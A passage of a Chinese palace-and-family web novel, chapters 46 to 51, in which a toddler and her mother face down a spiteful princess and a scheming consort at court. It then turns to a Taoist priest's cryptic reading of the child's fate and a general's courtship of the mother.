哪样能比得上她这个金尊玉贵的公主?
凭什么把顾振宇迷成那样?
“你们在干什么?”大公主冷冷道。
第一卷 第46章 康着都疼
杨婉云依旧保持着行礼的姿势,神色平静,不卑不亢:“回公主,臣妇带小女进宫拜师,路过御花园,见梅花开得好,便摘了几枝,想带给皇后娘娘。”
“带给皇后娘娘?”大公主轻笑一声,目光落在地上那几枝被撞落的梅花上,“本宫怎么瞧着,是你在糟践御花园的花?”
杨婉云心头一凛,知道这是存心找茬了。
“公主明鉴,臣妇只是摘了几枝……”
“几枝?”大公主打断她,抬脚将地上的梅花狠狠踩碎,“本宫看着,可不止几枝。”
她扫了一眼呦呦的那几枝,冷笑道:“手里还拿着这么多,这是要把御花园搬空?”
许呦呦毫不客气:“搬空,皇伯伯也开心……”
“你放肆!”大公主厉声喝道,“真是好大的口气!”
杨婉云赶紧将女儿护在身后,抬起头,迎上大公主的目光。
“公主殿下,小女年幼,若有冒犯之处,臣妇替她赔罪。”
“赔罪?”大公主笑了,笑得满是讥讽,“你拿什么赔?一个商户女,上不得台面的玩意罢了,也配在本宫面前说赔罪?”
她走近一步,居高临下地看着杨婉云。
“听说,”大公主慢条斯理地开口,“你这女儿,管顾将军叫‘爹爹’?”
杨婉云心里瞬间了然,眼眸微垂:“小孩子不懂事,胡乱称呼……”
“好一个胡乱称呼?”大公主打断她,冷笑一声,“本宫可听说,顾将军应得比谁都痛快。”
她绕着杨婉云走了一圈,目光肆无忌惮地打量。
“也是,有你这样的娘,自然知道怎么攀高枝。这么小就知道要攀将军当爹,真是不知廉耻?”
这话说得难听至极。
杨婉云抬起头,眼神平静,却带着几分冷意:“公主殿下,请您慎言。”
“慎言?”大公主挑眉,“本宫哪句话说错了?”
她指着许呦呦:“这小丫头,一岁半,就上赶着喊人家爹爹。你呢?嫁了人,生了孩子,还没和离,就开始忙着勾搭顾将军。”
“真是,有其母必有其女啊!”
“毫无教养的东西!!”
杨婉云攥紧手指,指甲掐进掌心。
“公主殿下,臣妇与顾将军清清白白,他救过臣妇的命,臣妇感激不尽。至于其他的,臣妇从未想过,也从未做过。”
大公主眼神更是不屑,“那顾将军为什么字字句句,要等你?”
她盯着杨婉云的眼睛,一字一句:“你一个商户女,嫁过人,生过孩子,凭什么?”
“凭你这张脸?还是凭你那些上不得台面的手段?”
杨婉云心里一惊,那日的事,她怎会知晓?
她深吸一口气,努力压住心头的火气。
“公主殿下,您这样颠倒黑白,污蔑臣妇清誉,虽不知是何居心,但臣妇问心无愧。”
“您这样说,也有损顾将军名声,还请公主殿下慎言……”
“你问心无愧?”大公主笑了,笑得满是嘲讽,“好一个问心无愧。”
随即,目光又冷厉如刀。
“来人!!”
“杨氏,你教女无方,纵女践踏御花园花卉,是为不敬。”
“你以下犯上,顶撞本宫,是为不逊。”
“你身为妇人,未和离便勾引外男,是为不贞。”
“本宫今日,权当肃正清风,对你多罪并罚。”
杨婉云抬起头,看着她。
大公主冷冷道:“跪下!!”
杨婉云一动不动。
“本宫让你跪下!”
许呦呦忽然从娘亲身后探出小脑袋,小脸气得通红。
“坏女银!敢欺负窝凉!”
大公主脸色一变:“放肆!”
她高高举起手,狠狠就要扇过去——
“啪!”
一声脆响。
却不是巴掌落在脸上的声音。
冬梅不知何时已挡在身前,一只手稳稳攥住了大公主的手腕。
那手掌心饱满,此刻像铁钳一般,纹丝不动。
“你……”大公主疼得脸色煞白,奋力挣扎,“放手!你这个贱婢,敢拦本宫?”
“咔嚓。”
是骨头碎裂的脆响,清晰且刺耳。
“啊!!!”
凄厉的惨叫响彻御花园。
大公主的手腕,以一个诡异的角度耷拉着,骨头茬子甚至都刺破皮肉,鲜血顺着指尖滴滴答答落在地上。
“啊啊……我的手!我的手啊!!!”
大公主抱着手腕,整个人疼得弓起背,脸色惨白如纸,额头上冷汗涔涔而下。
她抬起头,死死盯着冬梅,眼中满是疯狂和怨毒。
“贱婢!你敢伤本宫?来人!来人!!!”
紧接着,十几个太监宫女,从四周蜂拥而上,将杨婉云母女围了起来。
“把这个贱婢拿下!还有那对贱人母女,都给本宫抓起来!”
“给我打,狠狠的打,往死里打!!!”
大公主嘶声尖叫,疼得浑身发抖,却仍不忘恶毒地瞪着杨婉云母女。
许呦呦从冬梅身后探出小脑袋,悄悄对冬梅竖起了大拇哥,眨巴眨巴眼,又小声嘀咕:
“嘶——康着都疼。”
十几个太监宫女蜂拥而上。
冬梅将许呦呦往身后一护,身影一闪。
“砰砰砰——”
几息之间,七八个太监倒地哀嚎,剩下的几个愣在原地,不敢上前。
大公主脸色青白交加,瞪着她们的眼球,都在爆裂。
“好……好!你们给本宫等着!”她咬牙切齿,“本宫这就去父皇跟前告你们一状!让你们这对贱人母女,吃不了兜着走!”
她转身就要走。
身后传来一道奶声奶气的声音:
“肘!窝也要去!”
许呦呦从冬梅身后跳出来,小手叉腰,小胸脯挺得高高的,小脸气得鼓鼓囊囊。
“窝也要去,找皇伯伯告状!”
“让泥这个坏女银,次不了兜子肘!”
大公主又气又痛,睚眦目裂:“就凭你?一个商户女生的贱种,也敢跟本宫比?”
“放肆!”
一道威严的女声从身后传来。
大公主浑身一僵。
回头看去……
皇后一身绛紫宫装,款款而来,身后跟着乌压压一群人。
而她身边,那道明黄色的身影如影随形,
大公主眼睛,瞬间就亮了。
贱人,这次你们死定了!
她当即抱着受伤的手腕,跪在地上哀嚎,看起来可怜又无助,“父皇、母后,请你们一定要为平阳做主啊……”
“皇伯父,皇伯母,请泥们一定要喂呦呦做主啊……”许呦呦一屁股往地上一坐,两只小手拍着大腿,开始哭嚎,哭声无比凄厉。
小小一团,看起来更是可怜又无助。
哼!演戏嘛,谁扒会!!
第47章 辣个……野懂
皇后的心,一下子就揪起来了。
她在凤仪宫结果等了一盏茶的工夫,人还没到。
她心里不踏实,便亲自来迎。
没想到,半路上就听见了这边的动静。
皇后快步上前,直接越过跪在地上的大公主,一把将许呦呦抱进怀里。
“呦呦,怎么了?告诉皇伯母,谁欺负你了?”
“哇——”
小家伙哭得更是惊天动地,响彻御花园。
“皇伯母……呜呜……窝以后……不乃了……”
“皇宫里……坏女银太多……呜呜……”
“欺负窝……还欺负窝凉……呜呜呜……”
“她骂窝……小贱人……还骂窝凉……贱人……呜呜呜……”
“她嗦凉……勾引……将军爹爹……”
小家伙哭得上气不接下气,小胖手指着大公主,眼泪哗哗往下掉。
皇后的脸,瞬间沉了下来。
大公主的心思,她一直都知道。
从前,因着弟弟未找到心仪的女子,她便不好干涉太多。
可如今,这是要害死她弟弟啊……
她抬起头,看向跪在地上的大公主,那目光冷得像淬了冰。
大公主浑身一抖,慌忙开口:“母后,您听儿臣解释……”
“解释什么?”皇后声音不高,却带着彻骨的寒意,“本宫亲眼所见,亲耳所闻,还需要你解释?”
大公主脸色惨白。
她转头看向皇帝,眼泪簌簌而下,捂着剧痛的手:“父皇!父皇您要为儿臣做主啊!儿臣被人如此欺负,这打的是我皇家的脸面啊……”
“啪!”
一只脚踹在她肩膀上。
大公主整个人被踹翻在地,满眼不可置信地抬头。
皇帝居高临下地看着她,目光阴沉得能滴出水来。
这蠢货,平日里嚣张跋扈,也就罢了。
现下,这明显是要害死他呀!
皇帝心里那个火啊,蹭蹭往上冒。
这些年,顾振宇那小子,为了找那个小仙女,喝了多少回闷酒?
每回喝醉了就来宫里撒酒疯,整夜整夜地抱着他大腿哭:“陛下,你说她到底在哪儿啊?我是不是这辈子都找不着她了?”
他哄了四年!哄了四年啊!
好不容易,那小子找到人了,不闹腾了,也不来骚扰他了。
就连皇后最近看他都顺眼看多,前儿个还亲手给他炖了汤。
他这日子,总算能幸福两天了。
结果呢?
结果这个蠢货,竟然要插足顾振宇和杨婉云?
皇帝越想越气,指着大公主的鼻子就骂开了:
“你……你还有脸哭?”
“这些年,你嚣张跋扈、仗势欺人,干的那些破事,朕睁一只眼闭一只眼,不与你计较,你还真当自己是个人物了?”
大公主趴在地上,捂着剧痛的手腕,膝行至皇帝面前:“父皇……儿臣冤枉啊……”
“冤枉?”皇帝冷笑一声,“朕亲眼看见你要打人,亲耳听见你骂人,简直粗鄙不堪,你冤枉什么?”
他转过身,不再看她。
“高德全。”
“奴才在。”
“大公主言行无状,欺凌弱小,口出恶言,有失皇家体统。”皇帝的声音毫无波澜,“即日起,禁足公主府,无诏不得出。”
“俸禄减半,抄写《女戒》一百遍,什么时候反省清楚,什么时候解禁。”
大公主如遭雷击,整个人瘫软在地。
“父皇!父皇!儿臣错了!儿臣再也不敢了!父皇……”
就在这时。
“陛下!陛下手下留情啊!”
一道急切的女声从远处传来。
李贵妃跌跌撞撞地跑来,她扑到大公主身边,一把将女儿护在怀里,跪在地上,泪流满面。
“陛下!求您开恩!平阳她年纪小,不懂事,您饶了她这一回吧!”
皇帝冷眼看着她,一言不发。
李贵妃哭得撕心裂肺:“陛下,平阳是您的亲骨肉啊!她再怎么样,也是您的孩子!您不能为了一个外人,这么对她啊!”
李贵妃又膝行两步,死死抱住皇帝的腿。
“陛下!求您看在平阳是您长女的份上,饶她这一回吧!她是您的亲骨肉啊!”
皇帝冷着脸,一言不发。
李贵妃见他不为所动,声音愈发凄厉:
“陛下!您就算不念平阳,也要顾念二皇子啊!”
“二皇子还在边关为您戍守,浴血奋战!他若是知道自己的亲姐姐受此大辱,如何能安心为国尽忠?”
皇帝眉头一皱,眼中闪过几分复杂。
二皇子……
那是他寄予厚望的儿子,年纪轻轻便主动请缨戍守边关,这些年在军中颇有威望。
若是因为平阳的事,让他心生芥蒂……
李贵妃见他神色松动,心中暗喜,哭得更是卖力:
“陛下!二皇子与平阳乃一母同胞,姐弟情深。您今日这般重罚平阳,二皇子知道了,心里该多难受啊!”
皇帝面色阴晴不定,一时竟说不出话来。
整个御花园,气氛凝滞如冰。
就在这时。
一道奶声奶气的声音,脆生生地响起:
“二皇纸?”
许呦呦从皇后怀里探出小脑袋,歪着头,一脸天真地问:
“哦,辣个……野懂?”
全场死寂。
所有人愣住,目光齐刷刷看向那个粉雕玉琢的小团子。
野……野懂?
李贵妃的脸色,瞬间变了。
皇帝也是一愣:“呦呦,你说什么?”
许呦呦眨巴眨巴眼,见众人一副没听懂的样子,赶紧解释:
“野懂,就似……许娇娇呀!”
她掰着小胖手,努力组织语言,“就似,跟许娇娇一样滴……野懂呀!”
轰!!
这话如同一道惊雷,炸得在场所有人脑中一片空白。
皇帝的脸色,瞬间铁青。
皇后的眼睛,骤然眯起。
李贵妃浑身一僵,脸色惨白如纸,嘴唇剧烈地哆嗦起来。
“你……你胡说什么!”她猛地尖叫起来,“你这个妖言惑众的小贱人!竟敢污蔑本宫?”
她扑上来就要去抓许呦呦,却被冬梅一掌推开,踉跄后退几步,摔倒在地。
“陛下!”李贵妃顾不上疼,爬过来死死抱住皇帝的腿,“陛下您不能信她!童言无忌,更何况她在胡说八道啊!”
“臣妾对您一片真心,二皇子是您的亲骨肉啊!您不能信这空口无凭,造谣生事的话呀!”
她哭得凄凄惨惨,完全没有一丝贵妃的仪态。
第48章 这帽子,可暖和?
皇帝低头看着她,目光冷若冰霜,咬牙切齿说道,“说,他到底是谁的儿子?”
李贵妃浑身发抖,却仍死撑着:“是……是您的!陛下,当然是您的啊!”
“陛下,臣妾十六岁入宫,对您一心一意,从未有二心!您不能听一个一岁半的孩子胡说八道啊!”
她忽然站起来,朝旁边的石柱冲去:
“臣妾愿以死明志!”
“砰!”
冬梅一脚踢在她膝弯上,李贵妃重重摔在地上,额头磕在石板上,渗出血来。
许呦呦歪着脑袋,小嘴一撇。
“哎呀,泥别急嘛。”
“窝还米说完呢。”
她奶声奶气地继续:
“泥滴好大鹅,左屁屁上,有三颗红痣痣。”
“他爹爹,也有哟。”
李贵妃的瞳孔,骤然收缩。
“对喽——”
许呦呦又想起什么,小胖手一拍:
“五皇子得得的蛊毒,也似泥给滴!”
“泥想要他噶掉,然后……然后……”
她费力地组织语言,指着李贵妃:
“然后,泥滴好大鹅,就能当太纸啦!”
轰——
又一道惊雷,炸得在场所有人魂飞魄散。
皇后的脸色,瞬间变得比皇帝还可怕。
她死死盯着李贵妃,那目光,像淬了毒的刀子。
“李、贵、妃!!”
她一字一句,声音冷得能结冰。
“本宫的儿子,中蛊三年,日日梦魇,差点灯枯油尽,原来是你干的?”
李贵妃浑身筛糠似的抖,嘴唇哆嗦着,“不,不是的……不是这样的……”
皇帝的脸色,已经不能用铁青来形容了。
因为左屁股上有三颗红痣的人,正是他的好兄长——陈王。
当年父皇还玩笑般地说,老大丢了都好找,那三颗痣,就是最好的印章啊!
再联想到近日查到的一些线索……
皇帝猛地抬起脚,狠狠踹在李贵妃身上。
“贱人!”
李贵妃被踹翻在地,口吐鲜血,却仍在挣扎:
“陛下……臣妾冤枉……臣妾冤枉啊……”
皇帝看都不看她一眼,冷冷道:
“来人。”
“在!”
“李贵妃,秽乱宫闱,勾结外男,谋害皇子,罪大恶极。”
“即日起,打入冷宫,永不得出。”
李贵妃彻底瘫软在地,面如死灰。
“至于平阳——”
皇帝看向那个早已吓得瑟瑟发抖、面无人色的大公主,眼中没有半分怜惜。
“禁足公主府,永不得出。”
大公主眼前一黑,直接晕了过去。
李贵妃被塞住嘴巴,像拖死狗一样拖了下去。
大公主也被两个嬷嬷架走,御花园里总算清净下来。
皇帝松了口气,下意识转头去看皇后,脸上立刻堆起笑来,凑过去:“皇后,你看这……”
皇后抱着许呦呦,嘴角扯出一个弧度,似笑非笑地看着他:“陛下这帽子,戴得可暖和?”
皇帝的脸僵住了。
“臣妾瞧着,这颜色可真鲜亮。”皇后笑容温婉,语气轻柔,“正配您这身龙袍。”
说罢,抱着呦呦,转身离开,没有一丝迟疑。
皇帝愣在原地,看着皇后的背影,急得直搓手。
他想追上去,又怕追上去挨骂;
不追吧,这心里更不踏实。
最后,还是一咬牙:“去皇后宫中坐坐!”
高公公:╥﹏╥...
这是哪门子坐坐呀,这不就是去虐虐嘛!
凤仪宫里,皇后亲昵地拉着杨婉云,态度诚恳,满眼愧疚。
“婉云,今日让你受委屈了。”
“平阳那丫头,对顾振宇的心思,我一直知道。”
“从前我不便多管,可今日让她闹到你们母女面前,是我的不是。”
杨婉云此时已经平和多了,连忙摇头:“娘娘言重了,这不关您的事。”
皇后看她如此识大体,心里对她更是愧疚,拍拍她的手,“你放心,往后这种事,绝不会再发生。”
她顿了顿,压低声音:“婉云,和离一事,需不需要我出手?”
杨婉云心头一暖,“多谢娘娘美意!”
“今日一事,确实给我敲了警钟,和离之事,更要抓紧了。”
皇后点点头:“是啊,若是再有这样的事闹出来,呦呦也会被人诟病。”
杨婉云抬起头,郑重地看着皇后:“关键时刻,还需娘娘成全。”
皇后心下了然,见她已经有了主意,点了点头,便也放下心来,又细细叮嘱了几句。
院子里,许呦呦正在偷偷将刚刚顺出来的糖果,塞进自己的贴身兜兜里。
忽然,一道明黄色的身影凑了过来。
“呦呦啊……”皇帝赶紧蹲在她旁边,脸上堆满了笑,手里晃着一个鼓囊囊的荷包,“你看皇伯伯给你带什么来了?”
许呦呦抬起头,眼睛瞬间亮了起来。
哇哦!
钱钱!
皇帝嘿嘿一笑,把荷包塞进她手里:“呦呦啊,你皇伯母……好像生气了,你去帮皇伯伯说几句好话,哄她开心开心,好不好?”
小家伙捧着荷包,笑的见牙不见眼,“嘿嘿嘿,皇伯伯,包泥的!!”
皇帝喜得眉开眼笑:“真乖!”
许呦呦把荷包往怀里一塞,迈着小短腿跑进了正殿。
“皇伯母!”
皇后正和杨婉云说话,听见声音,脸上的神色顿时柔和下来:“呦呦,怎么了?”
许呦呦跑到皇后跟前,仰着小脸,笑得小眼弯弯:“皇伯母,窝跟泥嗦个秘密哦……”
看着她这神秘兮兮地样子吗,皇后好笑地把她抱起来:“什么秘密?”
小家伙随即,大声嚷嚷,生怕别人听不见:“上次辣个美银姐姐,正在……梅园里,跟狂徒呦……玩脱脱游戏呢。”
皇后脸上的笑容一滞。
是王美人?
上次呦呦来宫里的时候,正好王美人来给她请安,呦呦当时就被她的美貌吸引得挪不开眼。
杨婉云手里的帕子差点飞出去。
许呦呦浑然无觉,小胖手比画着:“她好康滴赤色鸭子肚兜……还挂在……狂徒身上咧!”
杨婉云眼前一黑,一把捂住女儿的嘴:“呦呦!!”
站在门口,本来满怀期望的皇帝,整个人瞬间宛若雷劈,定在原地。
皇后看着他,脸上的笑容压都压不住。
她从旁边拿起一顶帽子——墨绿色的,针脚歪歪扭扭,是她前几日练习绣工时的样品。
“陛下。”皇后亲手把帽子戴在皇帝头上,甚至还帮他正了正,“臣妾前几日闲着无事,绣了顶帽子,一直不知道该送谁。”
她端详着皇帝的脸,由衷地赞叹:“如今看来,这颜色,竟再合适陛下不过了。”
第49章 呸!真是晦气
皇帝的脸,青了又绿,绿了又紫。
他张了张嘴,看了看皇后,又看了看许呦呦,半天说不出一个字。
最后,一甩袖子,怒气冲冲转身就走。
杨婉云赶紧行礼,吓得大气都不敢出,等皇帝走远了,赶紧抱着许呦呦就要告辞。
她怕再不走,这皇宫,就得炸了……
“娘娘,臣妇先行告退!”
皇后含笑点头:“去吧,路上慢些。”
杨婉云脚步快的,几乎是逃出凤仪宫的。
“哈哈哈哈哈啊哈哈……”
刚出宫门,就听见里面爆发出了一阵狂笑。
许呦呦窝在娘亲怀里,得意地甩了甩手里的荷包,“康吧,皇伯母多开心,窝阔扒白拿他滴钱哦!”
杨婉云:o_o....
你可真是一点也不在乎你皇伯父死活啊!!
母女两很快回到杨府。
马车刚进将杨府,刘嬷嬷妈妈就迎了上来,脸色不太好看。
“夫人,您可算回来了。”
杨婉云心里一紧:“怎么了?”
刘嬷嬷压低声音:“您库房里那几箱嫁妆,又……又少了两箱。”
杨婉云的脚步顿住,沉默片刻,随即嘴角一勾,“知道了。”
刘嬷嬷一愣:“夫人,您不生气?”
“生气?”杨婉云却抬眸一笑,“我还愁着怎么加把劲呢?真是瞌睡了就有人送枕头……”
刘嬷嬷随即心中一喜,那一家子离死不远了!
转眼,就到了年下。
腊月二十三,小年。
杨婉云一早起来,给呦呦穿得厚厚实实,裹成了一个圆滚滚的小团子。
“凉,介似去哪呀?”
“三清观。”杨婉云一边给她系斗篷的带子,一边柔声道,“去给呦呦求个平安符,保佑咱们呦呦平平安安的。”
许呦呦眨巴眨巴眼:“跟谁求呀?”
杨婉云失笑:“跟三清祖师……”
许呦呦脑子里,瞬间出现了元始天尊那狗刨式的胡须,和那张要哭不哭的脸。
嘿嘿,说什么都不能承认,老头的胡须,是她剪的。
马车一路出了城,晃晃悠悠地往城外十里处的三清观而去。
山脚下,杨婉云抱着呦呦刚下马车,就看见了两道熟悉的身影。
“夫人……”刘嬷嬷一脸担忧。
“呸!真是晦气!”杨婉云抱着呦呦,神色冷漠地往前走。
此时,许振山扶着许老太太,正站在山道旁,看样子也是要上山祈福。
“哎,振山啊,你说咱家祖坟,怎么刚修好,又被天雷炸了?”
“娘,您别担心,或许是流年不利吧,咱们赶紧去求个平安符……”
“对对对,眼看快过年了,你妹妹的身体,越来越糟,今儿是得好好求求,若是能求到玄清道长的平安符,那可就太好了。”
母子俩互相搀扶着,步履艰难地往山上走。
许振山一扭头,正好看见银装素裹的杨婉云,眼睛瞬间亮了起来。
“婉云!”
他几乎是下意识地松开老娘,快步迎上来,脸上堆满了笑:“婉云,你也来上香?这可真是……太巧了!”
杨婉云抱着呦呦,连眼皮都没抬一下,径直越过他往前走。
许振山脸上的笑容僵住。
许老太太见状,赶紧扯出一个笑脸,踉跄着追上来:“哎哟,呦呦啊!来来来,让祖母看看宝贝大孙……”
话还没说完,一个小道士忽然从门口快步迎了出来,“敢问,是杨杨夫人和许小姐吗?”
杨婉云一愣:“正是。”
小道士微微一笑:“夫人,小姐,玄清师叔有请。”
杨婉云整个人都愣住了。
玄清道长?
那个据说能通阴阳、断生死、卜灵卦从未失手,多少人排着队求见都未必能见上一面的玄清道长?
身后,许振山的眼睛瞬间亮了。
他一把扶着老娘,快步跟上来:“小道长!小道长留步!我们是杨婉云的夫君和婆母,我们是一家人!”
“既然道长有请,我们理应一起去拜访拜访!”
小道士脚步一顿,回过头,神色冷淡:“道长指名,只请杨夫人和许小姐。”
说罢,转身就走。
许振山脸上的笑容彻底僵住。
许老太太的脸涨得通红,看着杨婉云母女跟着小道士走远,气得直跺脚。
“什么东西!”她压着嗓子,满脸愤恨,“一个带着孩子出走的弃妇,也配让玄清道长亲自接见?”
“还不知道使了什么见不得人的手段!”
“娘!”许振山低喝一声,脸色难看,“您胡说什么?”
许老太太不服气:“儿啊,她一个妇道人家,死也不回府,谁知道在外面干了什么勾当!那道长指名道姓见她,能有什么好事?”
许振山眉头紧皱,心里却莫名有些不安。
他看着杨婉云远去的背影,那身姿,那气度,比在许府时还要光彩照人。
他心里忽然又升起一丝期待——若是能借这个机会,求得她回心转意……
“走吧,娘。”他扶住老太太,“咱们也进去,等她们出来。”
许老太太冷哼一声,不甘不愿地跟着往山门里走。
另一边,小道士领着杨婉云母女,穿过重重院落,来到一处极为幽静的竹舍前。
“夫人,小姐,请。”小道士推开门,“师叔在里面等候。”
杨婉云深吸一口气,抱着呦呦,走进了竹舍。
竹舍的门被推开一条缝。
杨婉云还没来得及迈进去,就听见里面传来一阵暴躁的踱步声,还伴随着一阵阵絮絮叨叨的碎碎念。
“怎么还不来?是不是路上出事了?”
“哎呀,是不是生气了?肯定是生气了!”
“臭道士,你说婉云若是生气了,我该如何挽回?”
没人回应……
“你倒是说话啊!你平时不是挺能得吧的嘛,现在在这给装死。”
“来来来,你不是最擅长卜卦嘛,赶紧给本将军卜一卦!”
“你的罗盘呢?拿出来!现在就卜!”
还是没人回应……
“你愣着干什么?快点啊!婉云要是真生气了,我……我就……”
玄清道长终于忍无可忍,又带着几分生无可恋:“将军,你别急,她们正在来的路上……”
“这话你已经说了几十遍了!可是人呢?人在哪儿呢?”
“贫道……贫道……”
“你不是最会算吗?你算啊!”
“贫道算的是天命,不是路程……”
“那要你有何用?”
玄清道长:(◎﹏◎)……
不等他反应,顾振宇就直接上手,在他身上摸索罗盘……
第50章 不可言
于是,杨婉云进门的时候,就看见了这样一幕:
顾振宇把玄清道长按在地上,一只手压着他的肩膀,一只手在他身上四处游走……
玄清道长的道袍被扯得乱七八糟,躺在他身下,苦苦挣扎……
三人同时僵住。
六目相对。
空气凝固了……
许呦呦从娘亲怀里探出小脑袋,直勾勾地盯着地上两人,“爹爹,泥在玩脱脱游戏吗?”
顾振宇的脸,“腾”的一下红到了耳根。
他手忙脚乱地从玄清道长身上爬起来,连连摆手:“不、不是的!婉云你听我解释!我是在……是在……帮他找东西。”
“臭道士,你倒是说话啊……”
玄清道长从地上爬起来,神色木然地整理着道袍,“是是是,将军在帮我找罗盘。”
杨婉云尴尬地站在那里,顾振宇手足无措地将软垫拿了起来,又放下,又拿起来拍拍,又放下……
就在这时,玄清道长的目光,忽然落在了许呦呦身上。
卧槽!!
他的眼睛瞬间瞪得像铜铃。
死死盯着许呦呦,一眨不眨。
然后,他突然起身,迫不及待地朝许呦呦走去。
走到她面前。
颤颤巍巍的伸出手,又猛然收回去,像是被烫到了一样……
杨婉云和顾振宇,一脸懵逼地看着他。
许呦呦也歪着头看他,将手里的水果干往怀里搂了搂,小眉头皱起来:“泥干虾米?介……介阔似窝滴!”
“我……我只是太激动了……”玄清道长嘴唇都在哆嗦,“你的金光……刺得我看不清啊……”
许呦呦这才放心地将水果干塞进嘴里,仔仔细细打量他,“窝懂了。”
“泥眼睛,不好屎呀。”
玄清道长:……
顾振宇:……
杨婉云:……
玄清道长深吸一口气,努力让自己平静下来。
他从袖中摸出一个古朴的罗盘,深吸一口气,看向许呦呦:“姑娘,贫道斗胆,想为你卜一卦。”
许呦呦好奇地盯着那罗盘,伸手一把抓了过来。
“介似虾米?好玩吗?”
她小手一翻,罗盘在她掌心里滴溜溜转了起来。
然后,
疯了……
那罗盘的指针疯狂转动,根本停不下来。
顺时针疯狂转圈,再逆时针疯狂转圈,又顺时针,又逆时针,活像抽风。
玄清道长看着那个罗盘,整个人都傻了。
他艰难地咽了口唾沫,伸出手想把罗盘拿回来。
可那罗盘,竟然逃似的,离他远远的,好像嫌弃他一般……
玄清道长:(⊙o⊙)?
杨婉云站在一旁,看得心惊肉跳。
她虽然不懂这些玄门之事,但也听说过玄清道长的名头。
只要他卜卦,从未落空,从未妄言,事事皆应验。
可如今,呦呦只是拿着他的罗盘,那罗盘就疯了。
这意味着什么?
她不敢想。
“冬梅,”她轻声道,“带小姐出去玩玩。”
冬梅上前,许呦呦将罗盘一拍,瞬间安静了。
她把罗盘还给玄清道长,就跟着冬梅出去了。
竹舍里安静下来。
杨婉云深吸一口气,看向玄清道长:“道长,今日前来,本想为小女求一道平安符。”
玄清道长沉默片刻,苦笑着摇了摇头,“她的平安……贫道可保不了啊。”
杨婉云心里一紧。
“那道长,能否告知,小女的命数如何?”
玄清道长看着她,眼神讳莫如深,“不可言。”
杨婉云心又沉了一分。
“那……那小女这一生,是否平安顺遂?”
“不可言。”
“她将来可有劫难?”
“不可言。”
“可有破解之法?”
“不可言……”
杨婉云越听,心里越凉。
顾振宇在一旁,终于忍无可忍。
“什么不可言不可言!”他一巴掌拍在案上,“你个臭道士,这也不说,那也不说,耍我们玩呢?”
“早知道当年就把你扔在土匪窝里,让那些土匪把你剁了喂狗!”
玄清道长缩了缩脖子,一脸委屈:“将军,不是贫道不愿说,是贫道真的不知道啊……”
顾振宇更抓狂了:“那你说!你知道什么?”
“这也不知道,那也不知道,你知道个屁!”
玄清道长被他吼得往后仰了仰,弱弱的开口:
“贫道知道……你和她,能成。”
顾振宇一愣。
“你俩,是命定的姻缘。”
顾振宇的眼睛瞬间亮了,嘴角的笑意怎么都压不住,“你也不是什么都不准嘛!那你再说说,呦呦到底会怎么样?”
玄清道长无奈地叹了口气。
“贫道真的不知道。”玄清道长摊手,“贫道只知道,她不是一般人。”
顾振宇脸上的笑容瞬间僵住,狠狠瞪了他一眼,“这用得着你说?我闺女当然不是一般人!这踏马谁不知道?”
玄清道长:……
“将军,”他艰难地开口,“贫道不是一个意思……”
“那你是几个意思?”
玄清道长张了张嘴,又闭上了。
顾振宇被他这副欲言又止的模样气得肝疼,一把揪住他的道袍领子,把人拎了起来。
“你今天不给我说清楚,就剁碎了喂狗!”
玄清道长双脚离地,晃荡在空中,一脸生无可恋。
“将军,你要是真动手的话……”
“那贫道……就只能死一死了。”
顾振宇:……
杨婉云:……
玄清道长被放下来,喘了几口气,正色道:
“实话跟你们说吧,这小姑娘,不简单呐。”
“她通身的金光,你们看不见,贫道看得见。那金光,比贫道见过的任何东西都要亮,都要纯,都要……刺眼。”
“贫道修行几十年,见过不少有福缘的人,可没有一个像她这样的。”
杨婉云心里五味杂陈,依旧期待地看着玄清道长,“那……可有破解之法?”
玄清道长沉默片刻,摇了摇头。
“估计,神仙来了也没办法。”
杨婉云的心沉到了谷底。
“但杨夫人也不必过于忧心。贫道虽然看不清她的命数,但贫道能感觉到,这孩子将来,必有天大的造化。”
“天大的造化?”杨婉云一愣。
玄清道长点点头,又摇摇头:“多的,贫道真不能说了。再说,就真得要死一死了。”
杨婉云沉默良久,终于起身,深深行了一礼。
“多谢道长。”
她转身,心情沉重地往外走。
第51章 好好赔罪
顾振宇瞪了玄清道长一眼,压低声音威胁:
“臭道士,你给我记住。以后婉云要是还有什么想知道的,她随时来找你,你就得随时在。”
“不然……”
他勾起嘴角,“我能把你从匪窝里救出来,照样能把你送回去。”
玄清道长:……
“你那点能耐都用我身上去了,就知道欺负我,你把我困在这,不就是为了把人骗来,解一解你那可怜的相思之苦嘛。”
“现在倒好,人家都走了,还是哭着走的……”
顾振宇狠狠瞪了他一眼,转身大步追了出去。
“婉云!婉云你慢点走!等等我!”
杨婉云脚步一顿,眼眶微红。
顾振宇追上来,见她这副模样,心都揪成一团。
“婉云,你别哭了,那臭道士的话,也不尽然全是,再说了,咱们呦呦是有大能耐的,未来定是一片光明。”
他笨拙地安慰着,手足无措地想去擦她的眼泪,又不敢伸手。
“再说了,就算成长路上一点荆棘,那也没啥,我给它砍了,一定会为咱们呦呦踏出一片光明……”
杨婉云抬起眼,看着他那一脸认真的模样,心里忽然涌起一阵复杂的情绪。
这个男人,从第一次见面,就救了她。
四年后重逢,又救了呦呦。
如今,还在为她撑腰。
“顾将军,”她轻声道,“谢谢你,若没有你,凭我一妇人,如何能见得了玄清道长……”
顾振宇一愣,随即连连摆手:“婉云,这都不是事,那臭道士,跟我是过命的交情,他啊,命里有劫,才被他那师父,忽悠来这破道观当道士,不然,就算真金白银换他来,他都不愿来。”
“你以后若是还想见他,随时都可以……”
看着杨婉云红红的眼眶,他心里更是百爪挠心。
他挠挠头,索性把心一横,一股脑把全心里话全说了出来:
“婉云,前几日大公主的事,我都听说了。”
“那事都怪我!”顾振宇一脸懊恼,“若不是我,大公主也不会去找你麻烦,你也不会受那般委屈。我听说的时候,恨不得冲进公主府把她……”
他顿了顿,把后面的话咽了回去,声音却愈发诚恳:
“我怕你伤心,又怕影响你的清誉,不敢贸然去杨府看你。思来想去,只好让那臭道士帮忙,见你一面。”
他热烈地看着杨婉云的眼睛,语气诚恳无比。
“千错万错,都是我的错。婉云,你千万别因为这事,对我心生芥蒂。以后,我一定不会再让这种事发生!”
“我保证!”
他说得斩钉截铁,目光灼灼,像是要把心掏出来给她看。
杨婉云看着他,一时竟不知该说什么。
这个男人,明明什么都没做错,却把所有错都揽在自己身上。
她怔然地看着他,正要开口——
“贱妇,起来,快起来,给我走!”
一阵暴喝,从远处传来,打断了两人之间那微妙的气氛。
杨婉云眉头一皱,循声望去。
只见许振山十分粗鲁地拽着一个女人的头发,正往这边拖。
那女人披头散发,衣衫凌乱,脸上青一块紫一块,嘴角还挂着血丝,十分狼狈。
